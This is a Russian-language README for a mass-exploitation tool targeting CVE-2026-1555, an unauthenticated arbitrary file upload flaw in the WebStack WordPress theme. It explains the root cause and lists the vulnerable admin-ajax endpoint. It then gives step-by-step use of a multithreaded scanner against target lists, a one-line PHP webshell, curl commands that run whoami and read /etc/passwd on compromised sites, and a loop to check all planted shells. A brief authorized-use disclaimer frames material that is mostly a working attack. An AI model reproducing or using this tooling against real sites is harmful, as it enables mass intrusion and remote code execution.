CVE-2026-1555

WebStack <= 1.2024 - неаутентифицированная произвольная загрузка файлов

📌 Обзор уязвимости

🔬 Техническая первопричина

Функция io_img_upload(), зарегистрированная в WordPress в хуке действия img_upload файла admin-ajax.php, не выполняет вообще никакой проверки типа файла или расширения перед записью загружаемого файла на сервер. Поскольку действие зарегистрировано без проверки аутентификации (wp_ajax_nopriv_), любой неаутентифицированный удалённый злоумышленник может отправить через POST произвольный файл — включая PHP-вебшелл, — и сервер сохранит его по общедоступному пути, что позволяет напрямую выполнить произвольный код.

Уязвимая конечная точка:

POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>

⚙️ Возможности инструмента

• 🔁 Многопоточное сканирование с настраиваемым количеством рабочих потоков
• 📋 Поддержка массового сканирования целей через файл со списком целей
• 📤 Автоматическое извлечение URL-адреса шелла из JSON-ответа
• 💾 URL-адреса успешных шеллов сохраняются в uploaded_paths.txt
• 🎨 Богатый терминальный интерфейс с отслеживанием прогресса в реальном времени
• 🔕 Проверка SSL отключена для максимальной совместимости

📦 Требования

Версия Python: 3.8+

Установите зависимости:

pip install requests rich urllib3

🚀 Использование

1. Подготовьте список целей

Создайте файл с именем list.txt (или любым другим на ваш выбор) с одной целью на строку:

https://target1.com
https://target2.com
http://target3.com

Целям без http:// или https:// автоматически добавляется префикс http://.

2. Подготовьте нагрузку

Поместите ваш вебшелл в ту же директорию, что и скрипт. Пример:

# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

3. Запустите инструмент

python CVE-2026-1555.py

Программа запросит у вас:

📤 Вывод и извлечение шелла

Вывод в реальном времени

Каждая успешная загрузка выводит:

╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful                              │
│                                                │
│ Target:    https://target.com                  │
│ Shell URL: https://target.com/wp-content/...   │
╰────────────────────────────────────────────────╯

Сохранённые результаты

Все URL-адреса успешных шеллов добавляются в:

uploaded_paths.txt

Доступ к вашему шеллу

После успешной загрузки вы можете получить доступ к шеллу напрямую через браузер или curl:

# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id

# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"

# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"

Точный путь загрузки извлекается из JSON-ответа сервера (data.src) и выводится автоматически.

Пакетная проверка шеллов

Быстро проверьте все загруженные шеллы из выходного файла:

while read url; do
  echo -n "[*] $url -> "
  curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt

📊 Итоговая сводка

В конце каждого запуска выводится сводка:

Summary  50/50  OK: 12  FAIL: 38
╭──────────────────────────────────────────╮
│  Shell URLs saved to uploaded_paths.txt  │
╰──────────────────────────────────────────╯

🗂️ Структура файлов

CVE-2026-1555.py       ← Main exploit script
list.txt               ← Target URLs (one per line)
shell.php              ← Payload to upload
uploaded_paths.txt     ← Auto-generated: successful shell URLs

⚠️ Отказ от ответственности

Этот инструмент предоставляется строго для авторизованного тестирования на проникновение, исследований в области безопасности и образовательных целей.

Автор — Nxploited — не несёт никакой ответственности за любое неправомерное использование, ущерб или незаконную деятельность, совершённые с помощью этого инструмента. Используя этот инструмент, вы подтверждаете, что имеете явное письменное разрешение на тестирование всех целевых систем.

Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения, противозаконно и может повлечь уголовное преследование в соответствии с применимым законодательством о киберпреступности.

Используйте ответственно. Вы полностью отвечаете за свои действия.